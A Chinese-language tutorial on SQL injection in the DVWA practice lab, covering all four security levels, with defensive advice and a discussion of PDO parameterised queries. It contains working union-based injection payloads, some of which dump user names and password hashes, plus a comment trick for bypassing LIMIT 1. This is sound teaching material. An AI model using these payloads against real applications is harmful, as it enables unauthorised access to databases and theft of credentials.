DVWA靶场之SQL Injection学习分享
字数 1061 2025-08-24 20:49:31
DVWA靶场之SQL Injection教学文档
1. SQL注入概述
SQL注入是一种通过在应用程序的输入字段中插入恶意SQL命令来攻击数据库的技术。DVWA(Damn Vulnerable Web Application)提供了四个不同安全级别的SQL注入场景供学习。
2. Low级别SQL注入
漏洞分析
- 代码未对id参数做任何过滤
- 直接拼接用户输入到SQL查询中
利用步骤
-
检测注入点
- 输入
1'产生报错,确认存在字符型SQL注入
- 输入
-
判断字段数
1' order by 2 -- q (回显正常) 1' order by 3 -- q (回显错误)确定字段数为2
-
确定回显点
1' union select 1,2 -- q -
获取数据库信息
- 查询当前数据库名:
1' union select 1,database() -- q返回:dvwa
-
枚举表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- q返回:guestbook,users
-
枚举users表字段
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- q返回:user_id,first_name,last_name,user,password,avatar,last_login,failed_login
-
获取敏感数据
1' union select group_concat(user),group_concat(password) from users -- q
3. Medium级别SQL注入
防御措施
- 使用
mysql_real_escape_string函数转义特殊字符(\x00,\n,\r,\,',",\x1a) - 前端使用下拉选择表单限制输入
绕过方法
-
判断注入类型
- 输入
1' or 1=1 #报错 - 输入
1 or 1=1 #成功
确认是数字型注入,无需引号
- 输入
-
利用方式
- 后续步骤与Low级别类似,但需要通过抓包修改参数
- 数字型注入不受
mysql_real_escape_string影响
4. High级别SQL注入
防御措施
- SQL查询中添加
LIMIT 1限制输出结果数量
绕过方法
- 注释掉LIMIT
1' or 1=1 union select group_concat(user),group_concat(password) from users #- 使用
#注释掉后面的LIMIT 1 - 前面需要加上
'闭合引号
- 使用
5. Impossible级别防护
安全措施
-
使用PDO技术
- 划清代码与数据界限
- 使用参数化查询
-
结果数量限制
- 只有返回结果数量为1时才输出
-
Anti-CSRF机制
- 加入token防止CSRF攻击
6. 防御建议
-
使用预处理语句
- PDO或MySQLi的参数化查询
-
输入验证
- 白名单验证输入格式
- 对特殊字符进行转义
-
最小权限原则
- 数据库账户仅授予必要权限
-
错误处理
- 避免显示详细错误信息
-
Web应用防火墙
- 部署WAF过滤恶意请求
7. 总结
DVWA的四个级别展示了SQL注入漏洞从存在到修复的全过程:
- Low:无任何防护
- Medium:尝试过滤但方法不当
- High:添加限制但可绕过
- Impossible:采用最佳实践彻底防护
理解这些级别有助于开发人员构建更安全的应用程序和安全人员识别潜在漏洞。